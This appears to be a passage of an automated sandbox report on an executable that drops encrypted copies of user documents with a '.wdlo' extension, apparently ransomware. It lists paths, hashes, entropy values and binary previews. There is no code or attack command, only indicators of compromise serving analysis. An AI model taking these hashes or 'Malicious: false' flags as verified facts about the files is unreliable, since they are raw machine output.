SSDEEP:	24:KgQDE9qwTGyeAR5NIqm21sLxWgTEjXNn+l1DiQuRiq23cmk3zbD:KtDZb05cVQgyXNwsZbJmk3nD
MD5:	1B880559C14D6ADCB55C9D6D36D9F496
SHA1:	A73E48B41C02D34986045426B47626DA636D076D
SHA-256:	C335E1BFFD3E2499242BA834783ACA437A8EFC30B001CF0F06014729A00AC2D2
SHA-512:	CBBB79668A862A945D30D650B2E87A06BD1A0D18B6565FE4689BD3FD1CB1814B90DC8B91863E80016941A39E0AC9E61C109DE786DAB472E46B9C893387DD3C7F
Malicious:	false
Preview:	LSBIH...I..IX....q..Z..cR..E..2.m0..s....N..s...b.pR.S..4..O..am/..Ced...py..}h.5/p.O.:..C.....I.C.\m]6.Y^..../.g.u-+..CA.I..-}...%..?g.1.p.x...j..b.\.u.... /.sE..v$.$.....X.3....R%....."..z..v.1.d."...Yt..c.T-...%r..#p.a>9....v....c......."..C...$.......6a{.T@.5y.a..Okf...2o..-.j../~0v...2.....KQ.r..X...."Dwp..(..#E.C$U^,c?0..+:.......w.L....N"yP.1.<q.FN.........5....F.i.9C>my.:=.......(.v.....@.jmaE....]oF.w.i....)\=..1....F.jw..%.DP. b..j.gD..q.G.3]......b%..o+J..{.-...y...p........7nk.0.^KW.P.0qk..TR.v.:...X.C..8./.8...s>..[)....n.....o..~..!.s..5......LYtdW1..a.3.l...%j...f(T...Z-d...sz..K.R..r..cT.ea......c8?<..Ys.J...-..Zs.C....j>V?.+....K-.C...=......\...(...F.L..{`M8w...R).1....a..........;..7^.R._..fBM......nhs....'.`kS.i....k$..K.;,.H.X.u..tz....8d..........M...L.o..X)..zW.Q.+..%..77.O..9sm.?......]L.Z.Z..../..t.". .J+a.v.=.J..bkm.....R.....L..r....IT....3p!.@h....#&jh...RZ2.6,Fj.G..b..7}.(....Q..@..x....\|.9.I

C:\Users\user\Documents\IPKGELNTQY\LSBIHQFDVT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834270973813883
Encrypted:	false
SSDEEP:	24:KgQDE9qwTGyeAR5NIqm21sLxWgTEjXNn+l1DiQuRiq23cmk3zbD:KtDZb05cVQgyXNwsZbJmk3nD
MD5:	1B880559C14D6ADCB55C9D6D36D9F496
SHA1:	A73E48B41C02D34986045426B47626DA636D076D
SHA-256:	C335E1BFFD3E2499242BA834783ACA437A8EFC30B001CF0F06014729A00AC2D2
SHA-512:	CBBB79668A862A945D30D650B2E87A06BD1A0D18B6565FE4689BD3FD1CB1814B90DC8B91863E80016941A39E0AC9E61C109DE786DAB472E46B9C893387DD3C7F
Malicious:	false
Preview:	LSBIH...I..IX....q..Z..cR..E..2.m0..s....N..s...b.pR.S..4..O..am/..Ced...py..}h.5/p.O.:..C.....I.C.\m]6.Y^..../.g.u-+..CA.I..-}...%..?g.1.p.x...j..b.\.u.... /.sE..v$.$.....X.3....R%....."..z..v.1.d."...Yt..c.T-...%r..#p.a>9....v....c......."..C...$.......6a{.T@.5y.a..Okf...2o..-.j../~0v...2.....KQ.r..X...."Dwp..(..#E.C$U^,c?0..+:.......w.L....N"yP.1.<q.FN.........5....F.i.9C>my.:=.......(.v.....@.jmaE....]oF.w.i....)\=..1....F.jw..%.DP. b..j.gD..q.G.3]......b%..o+J..{.-...y...p........7nk.0.^KW.P.0qk..TR.v.:...X.C..8./.8...s>..[)....n.....o..~..!.s..5......LYtdW1..a.3.l...%j...f(T...Z-d...sz..K.R..r..cT.ea......c8?<..Ys.J...-..Zs.C....j>V?.+....K-.C...=......\...(...F.L..{`M8w...R).1....a..........;..7^.R._..fBM......nhs....'.`kS.i....k$..K.;,.H.X.u..tz....8d..........M...L.o..X)..zW.Q.+..%..77.O..9sm.?......]L.Z.Z..../..t.". .J+a.v.=.J..bkm.....R.....L..r....IT....3p!.@h....#&jh...RZ2.6,Fj.G..b..7}.(....Q..@..x....\|.9.I

C:\Users\user\Documents\IPKGELNTQY\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858689451338135
Encrypted:	false
SSDEEP:	24:cMaZRX+uGFFYJYu8Ma1sNEgtebZdchUmw2GPhIfpn4SMdmplF3zbD:AZgYJYj9sqjtmw2GpGn4SXplF3nD
MD5:	813718062FEA1ACB14EEB16F6B57673A
SHA1:	76DF4999FEA3C24B37EF9F97DEF3464F1F925AAA
SHA-256:	B5599E9352BAAA69D178A732FA939F0C879FAD718BDCE388315C26F89440422C
SHA-512:	1229CC4638B31A56F36CE9FB43D1E9B43FE8CD050E3D5FE567F96B92A1C38194E3C60F4673C765184CCDE84BAB0077CF0735522182F4CA23851163E44A91FAF8
Malicious:	false
Preview:	QCFWY7..6.=.0....Hg.'9`.....4d.......q..b..c.....W..^.).3..hE.smt...\.P..#..9c.)Z~.}.C.e.5 ./.P/.l..!'.nr..X.......N.{..m.:[..x&....U...X. .......:.E.......!../..X...Z...Hl.NadH....?..\|.<.%.^5..7.w@.v...m....K._.}...?...Ic.L`].=.<1.6..~.grBa,.:>......w..y.....'...u........X...'.+5......d-.....,<Z..N9:.e....->V{......L...&.#`1...n.....3.c.../:?......d&-.]...r..u.Z......r..%.V...E.._...~..{..?.,.<..<5.\|.sB&.'...z..^x.......\....q.[bg.&6..ZM._R6,..[.O.e(:.a<..wP.?.Mp..=...US".:....t.[Y/.413..L.T...(~..Q....>..B.=L....U>0.y'}.!.....?....R&...v ...4(.\y..z.....o.....2...7..]dj1.......3X...}..#.TGJ...B!.iP,....'.W.........%g!...#E...K.....%.._... .....T.%D.U....r.Fk...88..p....!.......OT....G..v.c...[......8sWXL.zp&.M....R..]S... f!..G.2]VE.X*..T.Wy."E....(..>\...3Cj..\?7..+..../.TJN...G.u\|..\|...0N.L~........f.dO..?.`..u......... R.......C.1.R.._.?.[-....I9.....S. {.[U..s.....R8.../...&..zo.}a........i.HV...x{..Er....D.-..Z.L...&.p.U....

C:\Users\user\Documents\IPKGELNTQY\QCFWYSKMHA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858689451338135
Encrypted:	false
SSDEEP:	24:cMaZRX+uGFFYJYu8Ma1sNEgtebZdchUmw2GPhIfpn4SMdmplF3zbD:AZgYJYj9sqjtmw2GpGn4SXplF3nD
MD5:	813718062FEA1ACB14EEB16F6B57673A
SHA1:	76DF4999FEA3C24B37EF9F97DEF3464F1F925AAA
SHA-256:	B5599E9352BAAA69D178A732FA939F0C879FAD718BDCE388315C26F89440422C
SHA-512:	1229CC4638B31A56F36CE9FB43D1E9B43FE8CD050E3D5FE567F96B92A1C38194E3C60F4673C765184CCDE84BAB0077CF0735522182F4CA23851163E44A91FAF8
Malicious:	false
Preview:	QCFWY7..6.=.0....Hg.'9`.....4d.......q..b..c.....W..^.).3..hE.smt...\.P..#..9c.)Z~.}.C.e.5 ./.P/.l..!'.nr..X.......N.{..m.:[..x&....U...X. .......:.E.......!../..X...Z...Hl.NadH....?..\|.<.%.^5..7.w@.v...m....K._.}...?...Ic.L`].=.<1.6..~.grBa,.:>......w..y.....'...u........X...'.+5......d-.....,<Z..N9:.e....->V{......L...&.#`1...n.....3.c.../:?......d&-.]...r..u.Z......r..%.V...E.._...~..{..?.,.<..<5.\|.sB&.'...z..^x.......\....q.[bg.&6..ZM._R6,..[.O.e(:.a<..wP.?.Mp..=...US".:....t.[Y/.413..L.T...(~..Q....>..B.=L....U>0.y'}.!.....?....R&...v ...4(.\y..z.....o.....2...7..]dj1.......3X...}..#.TGJ...B!.iP,....'.W.........%g!...#E...K.....%.._... .....T.%D.U....r.Fk...88..p....!.......OT....G..v.c...[......8sWXL.zp&.M....R..]S... f!..G.2]VE.X*..T.Wy."E....(..>\...3Cj..\?7..+..../.TJN...G.u\|..\|...0N.L~........f.dO..?.`..u......... R.......C.1.R.._.?.[-....I9.....S. {.[U..s.....R8.../...&..zo.}a........i.HV...x{..Er....D.-..Z.L...&.p.U....

C:\Users\user\Documents\IPKGELNTQY\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867904915351423
Encrypted:	false
SSDEEP:	24:v5wcv0/s7o2TyV+e77B2u4f6L+wwSFD++KHxgtCHeu39khz1h3zbD:acM/V2TNucE+KF19tCHeuC3nD
MD5:	8ECB580ACFD43CEFA54E8BE4895ED94B
SHA1:	C1C6F37768AD25C56855A6C170FACD1FC630E5BF
SHA-256:	9C270F4E0B54D33B242A97E3B2D8D1D3B0BB61A89EE56897C45635F41FC78EE4
SHA-512:	680B81A5325E3AD5264A65BCABFD6005AE0FF4442D680DA021310926270FA7F3EDA34E0A621383E29D2CD2DDBCE8290706D66B75CF041DB4018495F872ED4ABE
Malicious:	false
Preview:	SUAVT...H......{..u.(......3.7b.`.v...<..g>().."\|........M.!....x.....\.(.;1...aOE4.3.f...rE...b...1.;..{.......W.W..3....OZ+../".1..?..5....n.$....r.$..ep.1....^.z..U.-..Zw].,.I..:..].....j.vz.s.a.K....F..L........a.$..L~......!..-.....R.!.5...\|sz+...... .iX'v...t.7c...P ..[...k....(..g..[.:..^.)M..u'...l+;.#.:R..jp..O.z~Z..}P.Q-.^.-K..%ln..\|....y.%...<..k.&.pu...T.....D..dJ97J)k.....k.2o.T[!,.....^..r./.......h.w.eO.s.0. :..:.V.........A.E..=.)......l..e.vO9F..g......H~li.2.yD#..;..V...7..=e..D..n.^aq.h..wk..Fj^..Ig..q.c.P....b..k.hIp.....5Ro~pq..L..O.Io.B..d...N..}.'Y.,../..31.Z."..._gs.....&AP.u.-...N.....#.....0..:-%W;.7...n(..\|.6.=e?.......>...C....h.Q1bo{..J...9.c.x..h.^.\..m....."".{J...#.....Q.......s....T..u$.".#.....t.z.o .C.5.s X.x\|L.~..^8......W..u.t.`\..tTQ...F....-_a-.[.....'g........=,.K.....IR..D&..qX.5w.......n.........EO.....8I.D.!~.....(...0....U.6...p-..#....>m=.....VZ.u.?....\.Cg.?Ln...[.uA..r...W.f.L..w..G......_m

C:\Users\user\Documents\IPKGELNTQY\SUAVTZKNFL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867904915351423
Encrypted:	false
SSDEEP:	24:v5wcv0/s7o2TyV+e77B2u4f6L+wwSFD++KHxgtCHeu39khz1h3zbD:acM/V2TNucE+KF19tCHeuC3nD
MD5:	8ECB580ACFD43CEFA54E8BE4895ED94B
SHA1:	C1C6F37768AD25C56855A6C170FACD1FC630E5BF
SHA-256:	9C270F4E0B54D33B242A97E3B2D8D1D3B0BB61A89EE56897C45635F41FC78EE4
SHA-512:	680B81A5325E3AD5264A65BCABFD6005AE0FF4442D680DA021310926270FA7F3EDA34E0A621383E29D2CD2DDBCE8290706D66B75CF041DB4018495F872ED4ABE
Malicious:	false
Preview:	SUAVT...H......{..u.(......3.7b.`.v...<..g>().."\|........M.!....x.....\.(.;1...aOE4.3.f...rE...b...1.;..{.......W.W..3....OZ+../".1..?..5....n.$....r.$..ep.1....^.z..U.-..Zw].,.I..:..].....j.vz.s.a.K....F..L........a.$..L~......!..-.....R.!.5...\|sz+...... .iX'v...t.7c...P ..[...k....(..g..[.:..^.)M..u'...l+;.#.:R..jp..O.z~Z..}P.Q-.^.-K..%ln..\|....y.%...<..k.&.pu...T.....D..dJ97J)k.....k.2o.T[!,.....^..r./.......h.w.eO.s.0. :..:.V.........A.E..=.)......l..e.vO9F..g......H~li.2.yD#..;..V...7..=e..D..n.^aq.h..wk..Fj^..Ig..q.c.P....b..k.hIp.....5Ro~pq..L..O.Io.B..d...N..}.'Y.,../..31.Z."..._gs.....&AP.u.-...N.....#.....0..:-%W;.7...n(..\|.6.=e?.......>...C....h.Q1bo{..J...9.c.x..h.^.\..m....."".{J...#.....Q.......s....T..u$.".#.....t.z.o .C.5.s X.x\|L.~..^8......W..u.t.`\..tTQ...F....-_a-.[.....'g........=,.K.....IR..D&..qX.5w.......n.........EO.....8I.D.!~.....(...0....U.6...p-..#....>m=.....VZ.u.?....\.Cg.?Ln...[.uA..r...W.f.L..w..G......_m

C:\Users\user\Documents\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846092077383454
Encrypted:	false
SSDEEP:	24:KYSGOUWePOPyPeu+v8dtQJ26VkwcGAvWU4S4sGKEdXTBfdKprf/wA6cqIJ3zbD:K0OUxPfKotQJXOwcGAWxSWdtfdKprf/P
MD5:	5AFD59168DA1725788DB56B3B0A2D767
SHA1:	CAA66D696D0A402406379197D78E4E6362868B3E
SHA-256:	CAAC5C3E8E51219FCE464C2D649DBD452098E17958D21982687A948987AFC52E
SHA-512:	D0D65E3F7D5CBD1D7DC92D6BD5F020E0DABF5312A080C352A5328FC18D25E6F81336165B364AE0201FA297E5F94257E564CC97DE7F5588390D5228986D804C31
Malicious:	false
Preview:	LSBIH....7....C.T3.......1.C..J.B.;E.....1...o..sI...OI!/....H.S.w..H..G...K....F9.0+g.;J.Q}.a..?%F.q.R..evA....X.........`f..F..Kc.\|S.w...}../..g.....N..3....e..?.\.".{R...'w+x..I~....v...rP..j.I..L.... ..f.. U.O.....H..U.........h.....H..yh. ......c..~.9..jB...b..p.......~.......?>d..h.k..z$8d.Ri..\|....K...o;...e.&j...xK........2..fe..N.E..$..i(s'.>..4v..z'.Yk8\|.Y$1#'...wM".V\|.&..O...'....u&.}Z@)..=!......"y#.U+..s...A.=Fs.~..E..l....".L....K..[....[..A.,.p..s.KO....Dt[......K..5.C.h..L.E..#F.]....H.j6`.Sif.h...Z.8..{.....GGaK..@..l..(...D....p..4lgQy.....q..6.~.}#'......:..l}`..v.....#I.{..[k....i......G)K...;Y...]~........%7..m~.v7..S.*...bX...un.. ......8.9...(...g/.Ro...N...)\|S...I..SW.........<z;1(C..a...+pzC.......Z..>.."..a.]E.-...2>.[.8.n/..N.\..m.}+.u.."...,..........=.r..8NbwDo..8.-Fn9..x......M.Z.V.\..!.q..5..$MU.iY..z..@E....y.mK.N...3..3.._J]....:.......D.O..F5.g..$...K.A...XA.dG.........(.(....l`.N..'.(\|5L#..'HY...a...

C:\Users\user\Documents\LSBIHQFDVT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846092077383454
Encrypted:	false
SSDEEP:	24:KYSGOUWePOPyPeu+v8dtQJ26VkwcGAvWU4S4sGKEdXTBfdKprf/wA6cqIJ3zbD:K0OUxPfKotQJXOwcGAWxSWdtfdKprf/P
MD5:	5AFD59168DA1725788DB56B3B0A2D767
SHA1:	CAA66D696D0A402406379197D78E4E6362868B3E
SHA-256:	CAAC5C3E8E51219FCE464C2D649DBD452098E17958D21982687A948987AFC52E
SHA-512:	D0D65E3F7D5CBD1D7DC92D6BD5F020E0DABF5312A080C352A5328FC18D25E6F81336165B364AE0201FA297E5F94257E564CC97DE7F5588390D5228986D804C31
Malicious:	false
Preview:	LSBIH....7....C.T3.......1.C..J.B.;E.....1...o..sI...OI!/....H.S.w..H..G...K....F9.0+g.;J.Q}.a..?%F.q.R..evA....X.........`f..F..Kc.\|S.w...}../..g.....N..3....e..?.\.".{R...'w+x..I~....v...rP..j.I..L.... ..f.. U.O.....H..U.........h.....H..yh. ......c..~.9..jB...b..p.......~.......?>d..h.k..z$8d.Ri..\|....K...o;...e.&j...xK........2..fe..N.E..$..i(s'.>..4v..z'.Yk8\|.Y$1#'...wM".V\|.&..O...'....u&.}Z@)..=!......"y#.U+..s...A.=Fs.~..E..l....".L....K..[....[..A.,.p..s.KO....Dt[......K..5.C.h..L.E..#F.]....H.j6`.Sif.h...Z.8..{.....GGaK..@..l..(...D....p..4lgQy.....q..6.~.}#'......:..l}`..v.....#I.{..[k....i......G)K...;Y...]~........%7..m~.v7..S.*...bX...un.. ......8.9...(...g/.Ro...N...)\|S...I..SW.........<z;1(C..a...+pzC.......Z..>.."..a.]E.-...2>.[.8.n/..N.\..m.}+.u.."...,..........=.r..8NbwDo..8.-Fn9..x......M.Z.V.\..!.q..5..$MU.iY..z..@E....y.mK.N...3..3.._J]....:.......D.O..F5.g..$...K.A...XA.dG.........(.(....l`.N..'.(\|5L#..'HY...a...

C:\Users\user\Documents\LSBIHQFDVT.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8445409787289
Encrypted:	false
SSDEEP:	24:K+AtOdta+GyGYYhSv0CusGYrrHyvQcliQBS0NkTpy5l5BxBOaS6tjxBWmPD0CD3D:Kum5YddusGCrSIcVJk05l5T0KtjxBWmD
MD5:	65BB36164D13F7F3C2428EF5CD25F71B
SHA1:	C78329F4E17309F0914A8296C37A9E1A8B386F1F
SHA-256:	00BC29BDA96F12969BA6E518AA108101D852F226D17232A2DA93BD8ADC09A59E
SHA-512:	2A19A4AE195050CBD4882EF29C5824FC5985329521583F8B42AEA060C5CB49F8AB0029579396656AB88DDCAC0019475039BEC3F43917559411B8BD9DB0991019
Malicious:	false
Preview:	LSBIH;4...[.F......a5!v.........K..p.k..f......\.xn.!3.;\|. &V..........t..Tm.."\|?..R&..P^..[....1..4q....A.>X..F..{..q.#....vP.z.......8\|.Y..;.....?9..~=......W.W.."8D...w..)..k.1.~..\|.U..e.6x.d..E8.....R..Mg...}...whn.3U7.Mu<t@.....I.../8.....R.....e....B...)iqT.r397..g'...)..s.y...+0.\.......]k.....cZ.....y..b.~....{......L...t<g.;.....Z....p4.[ ..6..I.:..b0....y.4.8."..A.......t..=..V........W^....Ut\...Z.gL..1...7...9..D,.,n....$.Z~5..K.K./.h8...u....\.h....3.[.m...Y......\|..&.A8b.Srq..gx[.........Z...U.o...3..[..q.f...7....2.w...n.z.V<.R&.c...aD.x..cxf?.LIDAq.....0.y......U'.I..&..m....O........}.....XA..d.H............<5.j..cX.mQ.P..!.y\.L.}..9.-..%..I.o..i.v...5.@W...-..s....&...%E.....!q..!.!buv..t...pA..)zHO....;....^X.+...~`..(..L....cx1\|....94..z..%...J....v..UC.......f-s..4.0^I]E..+.....&.v..MH.....6.SHF6.i.".. #n..9.%>!s..I\|Q.p....:.b...5..?Q.{.P8...?I ..x[.1.M+Q2b.,....f..B../.n..o........'.._...7_l....<.9F..9.c._.......7..

C:\Users\user\Documents\LSBIHQFDVT.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8445409787289
Encrypted:	false
SSDEEP:	24:K+AtOdta+GyGYYhSv0CusGYrrHyvQcliQBS0NkTpy5l5BxBOaS6tjxBWmPD0CD3D:Kum5YddusGCrSIcVJk05l5T0KtjxBWmD
MD5:	65BB36164D13F7F3C2428EF5CD25F71B
SHA1:	C78329F4E17309F0914A8296C37A9E1A8B386F1F
SHA-256:	00BC29BDA96F12969BA6E518AA108101D852F226D17232A2DA93BD8ADC09A59E
SHA-512:	2A19A4AE195050CBD4882EF29C5824FC5985329521583F8B42AEA060C5CB49F8AB0029579396656AB88DDCAC0019475039BEC3F43917559411B8BD9DB0991019
Malicious:	false
Preview:	LSBIH;4...[.F......a5!v.........K..p.k..f......\.xn.!3.;\|. &V..........t..Tm.."\|?..R&..P^..[....1..4q....A.>X..F..{..q.#....vP.z.......8\|.Y..;.....?9..~=......W.W.."8D...w..)..k.1.~..\|.U..e.6x.d..E8.....R..Mg...}...whn.3U7.Mu<t@.....I.../8.....R.....e....B...)iqT.r397..g'...)..s.y...+0.\.......]k.....cZ.....y..b.~....{......L...t<g.;.....Z....p4.[ ..6..I.:..b0....y.4.8."..A.......t..=..V........W^....Ut\...Z.gL..1...7...9..D,.,n....$.Z~5..K.K./.h8...u....\.h....3.[.m...Y......\|..&.A8b.Srq..gx[.........Z...U.o...3..[..q.f...7....2.w...n.z.V<.R&.c...aD.x..cxf?.LIDAq.....0.y......U'.I..&..m....O........}.....XA..d.H............<5.j..cX.mQ.P..!.y\.L.}..9.-..%..I.o..i.v...5.@W...-..s....&...%E.....!q..!.!buv..t...pA..)zHO....;....^X.+...~`..(..L....cx1\|....94..z..%...J....v..UC.......f-s..4.0^I]E..+.....&.v..MH.....6.SHF6.i.".. #n..9.%>!s..I\|Q.p....:.b...5..?Q.{.P8...?I ..x[.1.M+Q2b.,....f..B../.n..o........'.._...7_l....<.9F..9.c._.......7..

C:\Users\user\Documents\LSBIHQFDVT.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8262992758511
Encrypted:	false
SSDEEP:	24:KCZdh05/hsu92jxydJP6CrRpz8mP0aE6ZgVx23QicW8lSG42VXdhHFob1/Oo7Vd+:KydE/7uIPyC3z8mv1ZgVx8B8ESVebnDo
MD5:	D4C8EE4DBBD0FEE5526CD2CF54D232B0
SHA1:	E22B8D65DCE3ED12055CF0B42AB1326A9E8DA9F6
SHA-256:	568B55B819F1B0B49DFE630DF558A3F5BC528AE2160A8AFDFC749D97B816FF43
SHA-512:	2CC82E2071A8EF90FC27B8419FD913C08F716908FCB944C926811EC096F3277520E96457ECC1EE6B395DDD13FF0FF144E8EE7241AFA3F95EAC22AB35275FABCA
Malicious:	false
Preview:	LSBIHW.1f.on.KM.V..}...7-..p...6."......-/......<sH. ..b.2...+.m;i.S....e.....m..Z8.......mH......N^...95_#.....K..1}rD.K.Y...%..$.~..{.H .._r...tK..V..N....d!n...W..._si6u....;{.......G......c.\..Df.`..,.b.a}../7z!.<...T.;)H91iT..W.#.....W.....0K.....t.....lK;!j.pFK.5...!.F!..!..Y......D..\|.M.i.`.........U.ZA.a...9.DX.A..M.....!..kC...?.!veCo^.N..7 ......t.......u..(%Z.p.].s..8E.9kr....#:T?/~..i...H....@$..a.R._z.gKI6..v.^..~.......Vc.w^....g..@P!.Q.G.. /..sM.L..... >.....?.=v....1.M..GN..F!.....U.$..S......y...+.e<.D.....`.0..r>.9.9.[.j..?.J:......WAC}.8..=../....$..$_a....".......9]R. ....I.:]..=.t.].ac..u..........4.y.$...Y2_......k8...U.%..3%..<n....M.G.HY...N.B6.y.;...9.j66r=...L...jPz\.7.>./....E..{=7b........R+D..,....t~...2a.we.1..Iv%d..H`4....."6....f-].!.m......@...JHp.]a......OC[......Q..7......X......3.N..4..X..........W.3.../(.0Ai..Z..=...Q.......(@.li.p....-.3..n..P....'.jG..aD,9$..D.0.S...-....g..R...qT..._..._...../...

C:\Users\user\Documents\LSBIHQFDVT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8262992758511
Encrypted:	false
SSDEEP:	24:KCZdh05/hsu92jxydJP6CrRpz8mP0aE6ZgVx23QicW8lSG42VXdhHFob1/Oo7Vd+:KydE/7uIPyC3z8mv1ZgVx8B8ESVebnDo
MD5:	D4C8EE4DBBD0FEE5526CD2CF54D232B0
SHA1:	E22B8D65DCE3ED12055CF0B42AB1326A9E8DA9F6
SHA-256:	568B55B819F1B0B49DFE630DF558A3F5BC528AE2160A8AFDFC749D97B816FF43
SHA-512:	2CC82E2071A8EF90FC27B8419FD913C08F716908FCB944C926811EC096F3277520E96457ECC1EE6B395DDD13FF0FF144E8EE7241AFA3F95EAC22AB35275FABCA
Malicious:	false
Preview:	LSBIHW.1f.on.KM.V..}...7-..p...6."......-/......<sH. ..b.2...+.m;i.S....e.....m..Z8.......mH......N^...95_#.....K..1}rD.K.Y...%..$.~..{.H .._r...tK..V..N....d!n...W..._si6u....;{.......G......c.\..Df.`..,.b.a}../7z!.<...T.;)H91iT..W.#.....W.....0K.....t.....lK;!j.pFK.5...!.F!..!..Y......D..\|.M.i.`.........U.ZA.a...9.DX.A..M.....!..kC...?.!veCo^.N..7 ......t.......u..(%Z.p.].s..8E.9kr....#:T?/~..i...H....@$..a.R._z.gKI6..v.^..~.......Vc.w^....g..@P!.Q.G.. /..sM.L..... >.....?.=v....1.M..GN..F!.....U.$..S......y...+.e<.D.....`.0..r>.9.9.[.j..?.J:......WAC}.8..=../....$..$_a....".......9]R. ....I.:]..=.t.].ac..u..........4.y.$...Y2_......k8...U.%..3%..<n....M.G.HY...N.B6.y.;...9.j66r=...L...jPz\.7.>./....E..{=7b........R+D..,....t~...2a.we.1..Iv%d..H`4....."6....f-].!.m......@...JHp.]a......OC[......Q..7......X......3.N..4..X..........W.3.../(.0Ai..Z..=...Q.......(@.li.p....-.3..n..P....'.jG..aD,9$..D.0.S...-....g..R...qT..._..._...../...

C:\Users\user\Documents\LSBIHQFDVT\BNAGMGSPLO.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874036272460851
Encrypted:	false
SSDEEP:	24:gNR91AgOYgz/c9rKxoHoJJ8E90Y9xtwGSiSoVLynFqMpsFrro7qyrF7OZ5iZ83zX:0MrGKKIJJ8EqNnnQMKo7qyrBE5v3nD
MD5:	19E7311F70B1BCECC57510DDF33F9903
SHA1:	A9E8DD8B2E9D1095C254F84DFA2E36AB79E1AB36
SHA-256:	F1AFEC5528762F5E7580169981CA021CB057FC70D6C1D03B134DD68784D584D5
SHA-512:	C62F7097321178E8F6B6AFFB8D862521DC4DF90F896396867ABBCC987784FBC350235506307E0DACC7485D1A748072EBC15353D0AE64D0431F3FF0C3251014F0
Malicious:	false
Preview:	BNAGM....\F.+r.X1...0...3h.4H.t9A...vBT...n.(n[.f........D..E. .....U........7..%......_R..5k.e..G.&f.[.L.G',...M....v3.l.Y9w.."...4.d........Nb....../..E..B.3..}...s<b.{..Ut...L.[+_.. Z}j.r.4..Z.!....C.i.G..e....t..r.L^U.O....{...&;...T.L.o..W.y...(%-..d[.....~{.:.Yr-.."T@~G....R..c...q..Q........u...-._b%...........ZU..8fV.mW;b..Cg........t-...FH.3...B.`\|.p-K....Z....1K4...c?....=97.p\|G.....2..f.......[..n.......le'2.n.......v.5I[_.>.w.Y....K..Zg.t.......VO}D......;F:..\|8.J...P..a....7...W....p..@...YM...:a}..M......J...~w=pB.<S..F..........q$.S.G~.gn4.......0...^...........).k....!1...v..L.>.Z=...r.m..{...>....~.h.!vU...@.,\|...m.L...o.z....(.9....(.-....)..^.j1.I....[.K..k.Z...L.....Sa....wG./S3T..0L.2....6.'.../.....lp..}q.}....4......(N._.......U.\|.............}..o..$.CJwY..N...D..v#...d....G....[.e.w6ZN..h3...g#e/W8.....9...2......l..~....{. `.y.E.rP...-\|.}SP..,..rwE.W..(..\..<..E.t...........0.[\\|B..:....%D2.":sw.Cb.r5..

C:\Users\user\Documents\LSBIHQFDVT\BNAGMGSPLO.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874036272460851
Encrypted:	false
SSDEEP:	24:gNR91AgOYgz/c9rKxoHoJJ8E90Y9xtwGSiSoVLynFqMpsFrro7qyrF7OZ5iZ83zX:0MrGKKIJJ8EqNnnQMKo7qyrBE5v3nD
MD5:	19E7311F70B1BCECC57510DDF33F9903
SHA1:	A9E8DD8B2E9D1095C254F84DFA2E36AB79E1AB36
SHA-256:	F1AFEC5528762F5E7580169981CA021CB057FC70D6C1D03B134DD68784D584D5
SHA-512:	C62F7097321178E8F6B6AFFB8D862521DC4DF90F896396867ABBCC987784FBC350235506307E0DACC7485D1A748072EBC15353D0AE64D0431F3FF0C3251014F0
Malicious:	false
